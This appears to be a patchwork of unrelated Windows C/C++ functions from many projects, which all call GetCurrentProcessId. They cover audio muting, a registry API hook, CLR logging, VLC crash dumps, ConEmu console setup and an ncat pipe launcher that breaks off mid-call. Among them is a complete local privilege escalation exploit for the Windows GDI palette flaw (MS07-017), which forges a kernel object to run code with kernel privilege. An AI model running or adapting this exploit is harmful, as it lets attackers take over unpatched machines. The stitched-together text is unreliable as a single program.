L"tlntsvr.exe")) { TerminalMode = TerminalChecked = true; break; } } nParentPID = pProcesses[i].th32ParentProcessID; break; } } } free(pProcesses); } } // В повторых проверках смысла нет TerminalChecked = true; return TerminalMode; }
/* ============== Sys_GetPID ============== */ int Sys_GetPID( void ) { return GetCurrentProcessId(); }
static int get_cur_process_id() { return (int)GetCurrentProcessId(); }
BOOL CProcessMgrImpl::SetWin7Mute( BOOL bMute/* =TRUE */ ) { if ( m_bMute == bMute ) return S_OK; IMMDeviceEnumerator* pEnumerator; HRESULT hr = E_FAIL; CoInitialize( NULL ); hr = CoCreateInstance( __uuidof( MMDeviceEnumerator ), NULL, CLSCTX_ALL, __uuidof( IMMDeviceEnumerator ), ( void** )&pEnumerator ); IMMDevice* pDevice; hr = pEnumerator->GetDefaultAudioEndpoint( eRender, eConsole, &pDevice ); if ( FAILED( hr ) ) return hr; IAudioSessionManager2* pasm = NULL; hr = pDevice->Activate( __uuidof( IAudioSessionManager2 ), CLSCTX_ALL, NULL, ( void** )&pasm ); if ( FAILED( hr ) ) return hr; IAudioSessionEnumerator* audio_session_enumerator; if ( SUCCEEDED( pasm->GetSessionEnumerator( &audio_session_enumerator ) ) ) { int count; if ( SUCCEEDED( audio_session_enumerator->GetCount( &count ) ) ) { for ( int i = 0; i < count; i++ ) { IAudioSessionControl* audio_session_control; IAudioSessionControl2* audio_session_control2; if ( SUCCEEDED( audio_session_enumerator->GetSession( i, &audio_session_control ) ) ) { if ( SUCCEEDED( audio_session_control->QueryInterface( __uuidof( IAudioSessionControl2 ), ( void** )&audio_session_control2 ) ) ) { DWORD processid; if ( SUCCEEDED( audio_session_control2->GetProcessId( &processid ) ) ) { if ( processid == GetCurrentProcessId() ) { ISimpleAudioVolume* pSAV; hr = audio_session_control2->QueryInterface( __uuidof( ISimpleAudioVolume ), ( void** ) &pSAV ); if ( SUCCEEDED( hr ) ) { hr = pSAV->SetMute( bMute, NULL ); if ( SUCCEEDED( hr ) ) { m_bMute = bMute; } pSAV->Release(); } } audio_session_control->Release(); audio_session_control2->Release(); } } } } audio_session_enumerator->Release(); } } pasm->Release(); SafeRelease( &pEnumerator ); ::CoUninitialize(); return hr; }
// RegQueryValueExW替换 LONG APIENTRY Replace_RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData) { LONG nRet; __try { nRet = Real_RegQueryValueExW(hKey, lpValueName, lpReserved, lpType, lpData, lpcbData); if(!HOOK_RegQueryValueEx) return nRet; if(GetCurrentProcessId() == ExplorerPID) return nRet; if(GetCurrentProcessId() == RegMonPID) return nRet; if((PID == 0) || ((GetCurrentProcessId() == PID) && (PID>0)) ) { if(nRet != ERROR_SUCCESS) return nRet; COPYDATASTRUCT data; PARAMS params; memset(¶ms,0,sizeof(PARAMS)); params.PID = GetCurrentProcessId(); params.hKey = hKey; if(lpValueName == NULL || /*lpType == NULL ||*/ lpData == NULL || lpcbData == NULL) return nRet; memcpy(params.buf1, lpValueName, wcslen(lpValueName)*2); if(lpType == NULL) params.type = 0; else params.type = *lpType; if(*lpcbData == 0) { return nRet; } else if(*lpcbData>MAX_BUF_LEN ) { memcpy(params.buf2, lpData, MAX_BUF_LEN ); params.cbbuf2 = MAX_BUF_LEN ; } else { memcpy(params.buf2, lpData, *lpcbData); params.cbbuf2 = *lpcbData; } params.result = nRet; data.cbData = sizeof(PARAMS); data.lpData =(void *)¶ms; data.dwData = TYPE_RegQueryValueExW; SendMessage(g_hWnd, WM_COPYDATA, (WPARAM)g_hWnd, (LPARAM)&data); } }__finally { }; return nRet; }
int main(int argc, char *argv[]) { SECTION_BASIC_INFORMATION SectionInfo; PGDI_TABLE_ENTRY pGdiEntry; PLOGPALETTE pLogPal; HANDLE hPal; PVOID OriginalPalObject; PVOID FalsePalObject; HANDLE hThread = GetCurrentThread(); DWORD OriginalThreadPriotity = GetThreadPriority (hThread); HANDLE hSection = (ULONG)0; PVOID MapFile = 0; HANDLE hProcess = (HANDLE)0xFFFFFFFF; WORD Pid = GetCurrentProcessId(); NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection"); printf ("##########################################################\n"); printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n"); printf ("# All Windows 2000/XP before MS07-017 patch #\n"); printf ("##########################################################\n"); printf ("# coded by Lionel d'Hauenens http://www.labo-asso.com #\n"); printf ("##########################################################\n\n"); // Search handle section and mapper in virtual memory of user while ((DWORD)hSection<0xFFFF) { SectionInfo.Attributes = 0; MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0); if (MapFile) { NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0); if (SectionInfo.Attributes == SEC_COMMIT) break; // For compatibility with win2k UnmapViewOfFile(MapFile); MapFile = 0; } hSection++; } if (!MapFile) { printf ("Could not found shared section !\n"); exit(0); } // Create Palette pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1); pLogPal->palNumEntries = 1; pLogPal->palVersion = 0x300; hPal = (HANDLE)CreatePalette(pLogPal); if (!hPal) { printf ("Could not create palette !\n"); exit(0); } // Search the entry of pal object OriginalPalObject = (PVOID)0; pGdiEntry = (PGDI_TABLE_ENTRY)MapFile; while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart) { if ( pGdiEntry->ProcessID == Pid && pGdiEntry->nType == PAL_TYPE ) { // Save original pointer OriginalPalObject = (PVOID)pGdiEntry->pKernelInfo; break; } pGdiEntry++; } if (!OriginalPalObject) { printf ("Could not find entry of Pal object !\n"); exit(0); } // Create the false Pal object FalsePalObject = (PVOID) calloc(0x100/4,4); ((PDWORD)FalsePalObject)[0] = (DWORD)hPal; // Handle ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1; // Availabled flag ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex printf ("Section:\n--------\n"); printf ("Handle: 0x%08X Attributes: %08X Size: 0x%08X\n\n", hSection , SectionInfo.Attributes , SectionInfo.Size.QuadPart); printf ("Pointer of original pal object: 0x%08X\n", OriginalPalObject); printf ("Address of user map: 0x%08X\n", MapFile); printf ("Pointer of false pal object: 0x%08X\n", FalsePalObject); printf ("Entry of GDI palette in user view: 0x%08X\n", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) ); printf ("Address of Hook(): 0x%08X\n\n", &hook); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// printf ("->Test..."); flag_test = 0; SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); // Active false Pal object pGdiEntry->pKernelInfo = FalsePalObject; GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :); // Restore original Pal object pGdiEntry->pKernelInfo = OriginalPalObject; SetThreadPriority (hThread,OriginalThreadPriotity); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// if (!flag_test) printf ("ERROR !!!\n"); else printf ("OK :)\n"); UnmapViewOfFile(MapFile); DeleteObject ((HANDLE)hPal); free((PVOID)pLogPal); free((PVOID)FalsePalObject); system("PAUSE"); return (0); }
int MirandaLoaded(WPARAM,LPARAM) { g_wMask = db_get_w(NULL,MOD_NAME,"optsmask",DEFAULTSETTING); RegisterCoreHotKeys(); g_hWinHook = SetWinEventHook(EVENT_OBJECT_CREATE, EVENT_OBJECT_SHOW, NULL, WinEventProc, GetCurrentProcessId(), 0, 0); HookEvent(ME_TTB_MODULELOADED, TopToolbarInit); HookEvent(ME_OPT_INITIALISE, OptsDlgInit); HookEvent(ME_MSG_WINDOWEVENT, MsgWinOpening); HookEvent(ME_PROTO_ACCLISTCHANGED, EnumProtos); HookEvent(ME_MSG_TOOLBARLOADED, TabsrmmButtonsInit); HookEvent(ME_MSG_BUTTONPRESSED, TabsrmmButtonPressed); GetWindowThreadProcessId(pcli->hwndContactList, &g_dwMirandaPID); WNDCLASS winclass = {0}; winclass.lpfnWndProc = ListenWndProc; winclass.hInstance = g_hInstance; winclass.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); winclass.lpszClassName = BOSSKEY_LISTEN_INFO; if (RegisterClass(&winclass)) { g_hListenWindow = CreateWindow(BOSSKEY_LISTEN_INFO,BOSSKEY_LISTEN_INFO,WS_POPUP,0,0,5,5,pcli->hwndContactList,NULL,g_hInstance,NULL); WTSRegisterSessionNotification(g_hListenWindow, 0); } if (IsWinVerVistaPlus()) { hDwmApi = LoadLibrary(_T("dwmapi.dll")); if (hDwmApi) dwmIsCompositionEnabled = (PFNDwmIsCompositionEnabled)GetProcAddress(hDwmApi,"DwmIsCompositionEnabled"); } if (g_wMaskAdv & OPT_MENUITEM) BossKeyMenuItemInit(); // Register token for variables plugin if (ServiceExists(MS_VARS_REGISTERTOKEN)) { TOKENREGISTER tr = {0}; tr.cbSize = sizeof(TOKENREGISTER); tr.memType = TR_MEM_OWNER; tr.flags = TRF_FIELD | TRF_TCHAR | TRF_PARSEFUNC; tr.tszTokenString = _T("bosskeyname"); tr.parseFunctionT = VariablesBossKey; tr.szHelpText = LPGEN("BossKey")"\t"LPGEN("get the BossKey name"); CallService(MS_VARS_REGISTERTOKEN, 0, (LPARAM) &tr); } EnumProtos(0, 0); InitIdleTimer(); if (g_bOldSetting && !(g_wMaskAdv & OPT_RESTORE)) // Restore settings if Miranda was crushed or killed in hidden mode and "Restore hiding on startup after failure" option is disabled RestoreOldSettings(); if ((g_wMaskAdv & OPT_HIDEONSTART) || (g_wMaskAdv & OPT_RESTORE && g_bOldSetting)) BossKeyHideMiranda(0, 0); return 0; }
VOID InitLogging() { STATIC_CONTRACT_NOTHROW; // <TODO>FIX bit of a workaround for now, check for the log file in the // registry and if there, turn on file logging VPM</TODO> LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogEnable, LOG_ENABLE); LogFacilityMask = REGUTIL::GetConfigDWORD_DontUse_(CLRConfig::INTERNAL_LogFacility, LogFacilityMask) | LF_ALWAYS; LogVMLevel = REGUTIL::GetConfigDWORD_DontUse_(CLRConfig::EXTERNAL_LogLevel, LogVMLevel); LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogFileAppend, LOG_ENABLE_APPEND_FILE); LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogFlushFile, LOG_ENABLE_FLUSH_FILE); LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogToDebugger, LOG_ENABLE_DEBUGGER_LOGGING); LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogToFile, LOG_ENABLE_FILE_LOGGING); LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogToConsole, LOG_ENABLE_CONSOLE_LOGGING); LogFacilityMask2 = REGUTIL::GetConfigDWORD_DontUse_(CLRConfig::INTERNAL_LogFacility2, LogFacilityMask2) | LF_ALWAYS; LPWSTR fileName = CLRConfig::GetConfigValue(CLRConfig::INTERNAL_LogFile); if (fileName != 0) { int ret; ret = WszWideCharToMultiByte(CP_ACP, 0, fileName, -1, szLogFileName, sizeof(szLogFileName)-1, NULL, NULL); _ASSERTE(ret != 0); delete fileName; } if (REGUTIL::GetConfigDWORD_DontUse_(CLRConfig::INTERNAL_LogWithPid, FALSE)) { char szPid[20]; sprintf_s(szPid, COUNTOF(szPid), ".%d", GetCurrentProcessId()); strcat_s(szLogFileName, _countof(szLogFileName), szPid); } if ((LogFlags & LOG_ENABLE) && (LogFlags & LOG_ENABLE_FILE_LOGGING) && (LogFileHandle == INVALID_HANDLE_VALUE)) { DWORD fdwCreate = (LogFlags & LOG_ENABLE_APPEND_FILE) ? OPEN_ALWAYS : CREATE_ALWAYS; LogFileHandle = CreateFileA( szLogFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, fdwCreate, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN | ((LogFlags & LOG_ENABLE_FLUSH_FILE) ? FILE_FLAG_WRITE_THROUGH : 0), NULL); if(0 == LogFileMutex) { LogFileMutex = ClrCreateMutex( NULL, FALSE, NULL); _ASSERTE(LogFileMutex != 0); } // Some other logging may be going on, try again with another file name if (LogFileHandle == INVALID_HANDLE_VALUE) { char* ptr = szLogFileName + strlen(szLogFileName) + 1; ptr[-1] = '.'; ptr[0] = '0'; ptr[1] = 0; for(int i = 0; i < 10; i++) { LogFileHandle = CreateFileA( szLogFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, fdwCreate, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN | ((LogFlags & LOG_ENABLE_FLUSH_FILE) ? FILE_FLAG_WRITE_THROUGH : 0), NULL); if (LogFileHandle != INVALID_HANDLE_VALUE) break; *ptr = *ptr + 1; } if (LogFileHandle == INVALID_HANDLE_VALUE) { DWORD written; char buff[MAX_LONGPATH+60]; strcpy(buff, "Could not open log file, logging to "); strcat_s(buff, _countof(buff), szLogFileName); // ARULM--Changed WriteConsoleA to WriteFile to be CE compat WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buff, (DWORD)strlen(buff), &written, 0); } } if (LogFileHandle == INVALID_HANDLE_VALUE) UtilMessageBoxNonLocalized(NULL, W("Could not open log file"), W("CLR logging"), MB_OK | MB_ICONINFORMATION, FALSE, TRUE); if (LogFileHandle != INVALID_HANDLE_VALUE) { if (LogFlags & LOG_ENABLE_APPEND_FILE) SetFilePointer(LogFileHandle, 0, NULL, FILE_END); LogSpew( LF_ALWAYS, FATALERROR, "************************ New Output *****************\n" ); } } }
LRESULT WINAPI LresultFromObject( REFIID riid, WPARAM wParam, LPUNKNOWN pAcc ) { static const WCHAR atom_fmt[] = {'%','0','8','x',':','%','0','8','x',':','%','0','8','x',0}; static const LARGE_INTEGER seek_zero = {{0}}; WCHAR atom_str[sizeof(lresult_atom_prefix)/sizeof(WCHAR)+3*8+3]; IStream *stream; HANDLE mapping; STATSTG stat; HRESULT hr; ATOM atom; void *view; TRACE("%s %ld %p\n", debugstr_guid(riid), wParam, pAcc); if(wParam) FIXME("unsupported wParam = %lx\n", wParam); if(!pAcc) return E_INVALIDARG; hr = CreateStreamOnHGlobal(NULL, TRUE, &stream); if(FAILED(hr)) return hr; hr = CoMarshalInterface(stream, riid, pAcc, MSHCTX_LOCAL, NULL, MSHLFLAGS_NORMAL); if(FAILED(hr)) { IStream_Release(stream); return hr; } hr = IStream_Seek(stream, seek_zero, STREAM_SEEK_SET, NULL); if(FAILED(hr)) { IStream_Release(stream); return hr; } hr = IStream_Stat(stream, &stat, STATFLAG_NONAME); if(FAILED(hr)) { CoReleaseMarshalData(stream); IStream_Release(stream); return hr; }else if(stat.cbSize.u.HighPart) { FIXME("stream size to big\n"); CoReleaseMarshalData(stream); IStream_Release(stream); return E_NOTIMPL; } mapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, stat.cbSize.u.HighPart, stat.cbSize.u.LowPart, NULL); if(!mapping) { CoReleaseMarshalData(stream); IStream_Release(stream); return hr; } view = MapViewOfFile(mapping, FILE_MAP_WRITE, 0, 0, 0); if(!view) { CloseHandle(mapping); CoReleaseMarshalData(stream); IStream_Release(stream); return E_FAIL; } hr = IStream_Read(stream, view, stat.cbSize.u.LowPart, NULL); UnmapViewOfFile(view); if(FAILED(hr)) { CloseHandle(mapping); hr = IStream_Seek(stream, seek_zero, STREAM_SEEK_SET, NULL); if(SUCCEEDED(hr)) CoReleaseMarshalData(stream); IStream_Release(stream); return hr; } memcpy(atom_str, lresult_atom_prefix, sizeof(lresult_atom_prefix)); sprintfW(atom_str+sizeof(lresult_atom_prefix)/sizeof(WCHAR), atom_fmt, GetCurrentProcessId(), HandleToUlong(mapping), stat.cbSize.u.LowPart); atom = GlobalAddAtomW(atom_str); if(!atom) { CloseHandle(mapping); hr = IStream_Seek(stream, seek_zero, STREAM_SEEK_SET, NULL); if(SUCCEEDED(hr)) CoReleaseMarshalData(stream); IStream_Release(stream); return E_FAIL; } IStream_Release(stream); return atom; }
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { #pragma region win_set WNDCLASSEX wc; ZeroMemory(&wc, sizeof(WNDCLASSEX)); wc.cbSize = sizeof(WNDCLASSEX); wc.style = CS_HREDRAW | CS_VREDRAW; wc.lpfnWndProc = WindowProc; wc.hInstance = hInstance; wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.lpszClassName = "WindowClass"; RegisterClassEx(&wc); RECT wr = {0, 0, SW, SH}; AdjustWindowRect(&wr, WS_OVERLAPPEDWINDOW, FALSE); hWnd = CreateWindowEx(NULL, "WindowClass", "DirextX", WS_DLGFRAME, 300, 300, wr.right - wr.left, wr.bottom - wr.top, NULL, NULL, hInstance, NULL); ShowWindow(hWnd, nCmdShow); #pragma endregion Window_Setup //spawn a console window,useful for debugging ect AllocConsole() ; AttachConsole( GetCurrentProcessId() ) ; freopen("CONIN$", "r", stdin); freopen("CONOUT$", "w", stdout); freopen("CONOUT$", "w", stderr); //////////////////////////////////////////////////// //////////////////////////////////////////////////// /* Comm * NewComm = new Comm; NewComm->setup(); NewComm->RECIVE(); */ //setup object DxSetup * DX = new DxSetup; DX->InitD3D(); DX->InitPipeline(); Loader *load = new Loader; load->loadTexture("Kan.png"); //load->InitLoad("AssetList.txt"); load->LoadObj("cube.obj"); load->LoadObj("spit.obj"); load->LoadObj("box.obj"); //camera obj Cam * CamOverView = new Cam; MlistTest.push_back(CamOverView); //set inittal Camrea postion cX = 0.0f; cY = 0.0f; cZ = -50.0f; MSG msg; devcon->ClearRenderTargetView(backbuffer, D3DXCOLOR(0.1f, 0.1f, 0.1f, 1.0f)); devcon->ClearDepthStencilView(zbuffer, D3D11_CLEAR_DEPTH, 1.0f, 0); while(1) { if( PeekMessage( &msg, NULL, 0, 0,PM_NOREMOVE ) ) { //std::cout<<msg.message << std::endl; // output the current windows msg if (msg.message == WM_QUIT) {} if (msg.message == WM_KEYDOWN) { switch (msg.wParam) { case VK_F1: { float x = std::rand() % 20 + 1; float y = std::rand() % 20 + 1; TestObj * TOVT = new TestObj; TOVT->X = x; TOVT->Y = y; TOVT->Model = 0; MlistTest.push_back(TOVT); } break; case VK_F2: { float x = std::rand() % 20 + 1; float y = std::rand() % 20 + 1; TestObj * TOVT = new TestObj; TOVT->X = x; TOVT->Y = y; TOVT->Model = 1; MlistTest.push_back(TOVT); } break; case VK_F4: { } break; case VK_F5: { std::cout << "current Camera postion" << std::endl; std::cout << "----------------------" << std::endl; std::cout << "X =" <<cX << std::endl; std::cout << "Y =" <<cY << std::endl; std::cout << "Z =" <<cZ << std::endl; } break; case VK_F7: std::cout << "Max size is: " << MlistTest.max_size() << std::endl; break; case VK_ESCAPE: DX->CleanD3D(); exit(0); break; default: break; } } else { //TranslateMessage( &msg ); //DispatchMessage( &msg ); } } /* if(NS == 1) { TestObj * TOVT = new TestObj; MlistTest.push_back(TOVT); TOVT->X = 1.0f; TOVT->Y = 1.0f; TOVT->AltVertexInBufferTest = false; TOVT->InterInfoObj = obj2; TOVT->IsNetPlayer = true; MlistTest.push_back(TOVT); } */ for(int i = 0; i < MlistTest.size();i++) { MlistTest.at(i)->Render(); } if(globalneedToRevertex =true) {globalneedToRevertex = false;} swapchain->Present(0, 0); devcon->ClearRenderTargetView(backbuffer, D3DXCOLOR(0.1f, 0.5f, 0.1f, 1.0f)); devcon->ClearDepthStencilView(zbuffer, D3D11_CLEAR_DEPTH, 1.0f, 0); } // clean up DirectX and COM DX->CleanD3D(); return msg.wParam; }
process_id_type getProcessId() { return GetCurrentProcessId(); }
/***************************************************************************** * vlc_exception_filter: handles unhandled exceptions, like segfaults *****************************************************************************/ LONG WINAPI vlc_exception_filter(struct _EXCEPTION_POINTERS *lpExceptionInfo) { if(IsDebuggerPresent()) { //If a debugger is present, pass the exception to the debugger //with EXCEPTION_CONTINUE_SEARCH return EXCEPTION_CONTINUE_SEARCH; } else { fprintf( stderr, "unhandled vlc exception\n" ); FILE * fd = _wfopen ( crashdump_path, L"w, ccs=UTF-8" ); if( !fd ) { fprintf( stderr, "\nerror while opening file" ); exit( 1 ); } OSVERSIONINFO osvi; ZeroMemory( &osvi, sizeof(OSVERSIONINFO) ); osvi.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); GetVersionEx( &osvi ); fwprintf( fd, L"[version]\nOS=%d.%d.%d.%d.%s\nVLC=%s", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber, osvi.dwPlatformId, osvi.szCSDVersion, VERSION_MESSAGE); // sunqueen modify const CONTEXT *const pContext = (const CONTEXT *) lpExceptionInfo->ContextRecord; const EXCEPTION_RECORD *const pException = (const EXCEPTION_RECORD *) lpExceptionInfo->ExceptionRecord; /* No nested exceptions for now */ fwprintf( fd, L"\n\n[exceptions]\n%08x at %px", pException->ExceptionCode, pException->ExceptionAddress ); for( unsigned int i = 0; i < pException->NumberParameters; i++ ) fwprintf( fd, L" | %p", pException->ExceptionInformation[i] ); #ifdef _WIN64 fwprintf( fd, L"\n\n[context]\nRDI:%px\nRSI:%px\n" \ "RBX:%px\nRDX:%px\nRCX:%px\nRAX:%px\n" \ "RBP:%px\nRIP:%px\nRSP:%px\nR8:%px\n" \ "R9:%px\nR10:%px\nR11:%px\nR12:%px\n" \ "R13:%px\nR14:%px\nR15:%px\n", pContext->Rdi,pContext->Rsi,pContext->Rbx, pContext->Rdx,pContext->Rcx,pContext->Rax, pContext->Rbp,pContext->Rip,pContext->Rsp, pContext->R8,pContext->R9,pContext->R10, pContext->R11,pContext->R12,pContext->R13, pContext->R14,pContext->R15 ); #else fwprintf( fd, L"\n\n[context]\nEDI:%px\nESI:%px\nEBX:%px\nEDX:%px\nECX:%px\nEAX:%px\nEBP:%px\nEIP:%px\nESP:%px\n", pContext->Edi,pContext->Esi,pContext->Ebx, pContext->Edx,pContext->Ecx,pContext->Eax, pContext->Ebp,pContext->Eip,pContext->Esp ); #endif fwprintf( fd, L"\n[stacktrace]\n#EIP|base|module\n" ); #ifdef _WIN64 LPCVOID caller = (LPCVOID)pContext->Rip; LPVOID *pBase = (LPVOID*)pContext->Rbp; #else LPVOID *pBase = (LPVOID*)pContext->Ebp; LPCVOID caller = (LPCVOID)pContext->Eip; #endif for( unsigned frame = 0; frame <= 100; frame++ ) { MEMORY_BASIC_INFORMATION mbi; wchar_t module[ 256 ]; VirtualQuery( caller, &mbi, sizeof( mbi ) ) ; GetModuleFileName( mbi.AllocationBase, module, 256 ); fwprintf( fd, L"%p|%ls\n", caller, module ); if( IsBadReadPtr( pBase, 2 * sizeof( void* ) ) ) break; /*The last BP points to NULL!*/ caller = *(pBase + 1); if( !caller ) break; pBase = *pBase; if( !pBase ) break; } HANDLE hpid = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); if (hpid) { HMODULE mods[1024]; DWORD size; if (EnumProcessModules(hpid, mods, sizeof(mods), &size)) { fwprintf( fd, L"\n\n[modules]\n" ); for (unsigned int i = 0; i < size / sizeof(HMODULE); i++) { wchar_t module[ 256 ]; GetModuleFileName(mods[i], module, 256); fwprintf( fd, L"%p|%ls\n", mods[i], module); } } CloseHandle(hpid); } fclose( fd ); fflush( stderr ); exit( 1 ); } }
// // Wrapper around WM_SETCONSOLEINFO. We need to create the // necessary section (file-mapping) object in the context of the // process which owns the console, before posting the message // BOOL SetConsoleInfo(HWND hwndConsole, CONSOLE_INFO *pci) { DWORD dwConsoleOwnerPid, dwCurProcId; PVOID ptrView = 0; DWORD dwLastError=0; WCHAR ErrText[255]; // // Retrieve the process which "owns" the console // dwCurProcId = GetCurrentProcessId(); DEBUGTEST(DWORD dwConsoleThreadId =) GetWindowThreadProcessId(hwndConsole, &dwConsoleOwnerPid); // We'll fail, if console was created by other process if (dwConsoleOwnerPid != dwCurProcId) { #ifdef _DEBUG // Wine related PROCESSENTRY32W pi = {}; GetProcessInfo(dwConsoleOwnerPid, &pi); if (lstrcmpi(pi.szExeFile, L"wineconsole.exe")!=0) { wchar_t szDbgMsg[512], szTitle[128]; szDbgMsg[0] = 0; GetModuleFileName(NULL, szDbgMsg, countof(szDbgMsg)); msprintf(szTitle, countof(szTitle), L"%s: PID=%u", PointToName(szDbgMsg), GetCurrentProcessId()); msprintf(szDbgMsg, countof(szDbgMsg), L"GetWindowThreadProcessId()\nPID=%u, TID=%u, %s\n%s", dwConsoleOwnerPid, dwConsoleThreadId, pi.szExeFile, szTitle); MessageBox(NULL, szDbgMsg, szTitle, MB_SYSTEMMODAL); } //_ASSERTE(dwConsoleOwnerPid == dwCurProcId); #endif return FALSE; } // // Create a SECTION object backed by page-file, then map a view of // this section into the owner process so we can write the contents // of the CONSOLE_INFO buffer into it // if (!ghConsoleSection) { ghConsoleSection = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, gnConsoleSectionSize, 0); if (!ghConsoleSection) { dwLastError = GetLastError(); _wsprintf(ErrText, SKIPLEN(countof(ErrText)) L"Can't CreateFileMapping(ghConsoleSection). ErrCode=%i", dwLastError); MessageBox(NULL, ErrText, L"ConEmu", MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); return FALSE; } _ASSERTE(OnShutdownConsole==NULL || OnShutdownConsole==ShutdownConsole); OnShutdownConsole = ShutdownConsole; } // // Copy our console structure into the section-object // ptrView = MapViewOfFile(ghConsoleSection, FILE_MAP_WRITE|FILE_MAP_READ, 0, 0, gnConsoleSectionSize); if (!ptrView) { dwLastError = GetLastError(); _wsprintf(ErrText, SKIPLEN(countof(ErrText)) L"Can't MapViewOfFile. ErrCode=%i", dwLastError); MessageBox(NULL, ErrText, L"ConEmu", MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); } else { _ASSERTE(pci->Length==sizeof(CONSOLE_INFO)); //2010-09-19 что-то на XP стало окошко мелькать. // при отсылке WM_SETCONSOLEINFO консоль отображается :( BOOL lbWasVisible = IsWindowVisible(hwndConsole); RECT rcOldPos = {0}, rcAllMonRect = {0}; if (!lbWasVisible) { GetWindowRect(hwndConsole, &rcOldPos); // В много-мониторных конфигурациях координаты на некоторых могут быть отрицательными! rcAllMonRect = GetAllMonitorsWorkspace(); pci->AutoPosition = FALSE; pci->WindowPosX = rcAllMonRect.left - 1280; pci->WindowPosY = rcAllMonRect.top - 1024; } memcpy(ptrView, pci, pci->Length); //-V106 UnmapViewOfFile(ptrView); // Send console window the "update" message DEBUGTEST(LRESULT dwConInfoRc =) SendMessage(hwndConsole, WM_SETCONSOLEINFO, (WPARAM)ghConsoleSection, 0); DEBUGTEST(DWORD dwConInfoErr = GetLastError()); if (!lbWasVisible && IsWindowVisible(hwndConsole)) { //DEBUGTEST(Sleep(10)); apiShowWindow(hwndConsole, SW_HIDE); //SetWindowPos(hwndConsole, NULL, rcOldPos.left, rcOldPos.top, 0,0, SWP_NOSIZE|SWP_NOZORDER); // -- чтобы на некоторых системах не возникала проблема с позиционированием -> {0,0} // Issue 274: Окно реальной консоли позиционируется в неудобном месте SetWindowPos(hwndConsole, NULL, 0, 0, 0,0, SWP_NOSIZE|SWP_NOZORDER); } } return TRUE; }
/* Run a command and redirect its input and output handles to a pair of anonymous pipes. The process handle and pipe handles are returned in the info struct. Returns the PID of the new process, or -1 on error. */ static int run_command_redirected(char *cmdexec, struct subprocess_info *info) { /* Each named pipe we create has to have a unique name. */ static int pipe_serial_no = 0; char pipe_name[32]; SECURITY_ATTRIBUTES sa; STARTUPINFO si; PROCESS_INFORMATION pi; /* Make the pipe handles inheritable. */ sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; /* The child's input pipe is an ordinary blocking pipe. */ if (CreatePipe(&info->child_in_r, &info->child_in_w, &sa, 0) == 0) { if (o.verbose) logdebug("Error in CreatePipe: %d\n", GetLastError()); return -1; } /* Pipe names must have this special form. */ Snprintf(pipe_name, sizeof(pipe_name), "\\\\.\\pipe\\ncat-%d-%d", GetCurrentProcessId(), pipe_serial_no); if (o.debug > 1) logdebug("Creating named pipe \"%s\"\n", pipe_name); /* The output pipe has to be nonblocking, which requires this complicated setup. */ info->child_out_r = CreateNamedPipe(pipe_name, PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, 1, 4096, 4096, 1000, &sa); if (info->child_out_r == 0) { if (o.verbose) logdebug("Error in CreateNamedPipe: %d\n", GetLastError()); CloseHandle(info->child_in_r); CloseHandle(info->child_in_w); return -1; } info->child_out_w = CreateFile(pipe_name, GENERIC_WRITE, 0, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); if (info->child_out_w == 0) { CloseHandle(info->child_in_r); CloseHandle(info->child_in_w); CloseHandle(info->child_out_r); return -1; } pipe_serial_no++; /* Don't inherit our end of the pipes. */ SetHandleInformation(info->child_in_w, HANDLE_FLAG_INHERIT, 0); SetHandleInformation(info->child_out_r, HANDLE_FLAG_INHERIT, 0); memset(&si, 0, sizeof(si)); si.cb = sizeof(si); si.hStdInput = info->child_in_r; si.hStdOutput = info->child_out_w; si.hStdError = GetStdHandle(STD_ERROR_HANDLE); si.dwFlags |= STARTF_USESTDHANDLES; memset(&pi, 0, sizeof(pi)); if (CreateProcess(NULL, cmdexec, NULL, NULL, TRUE, 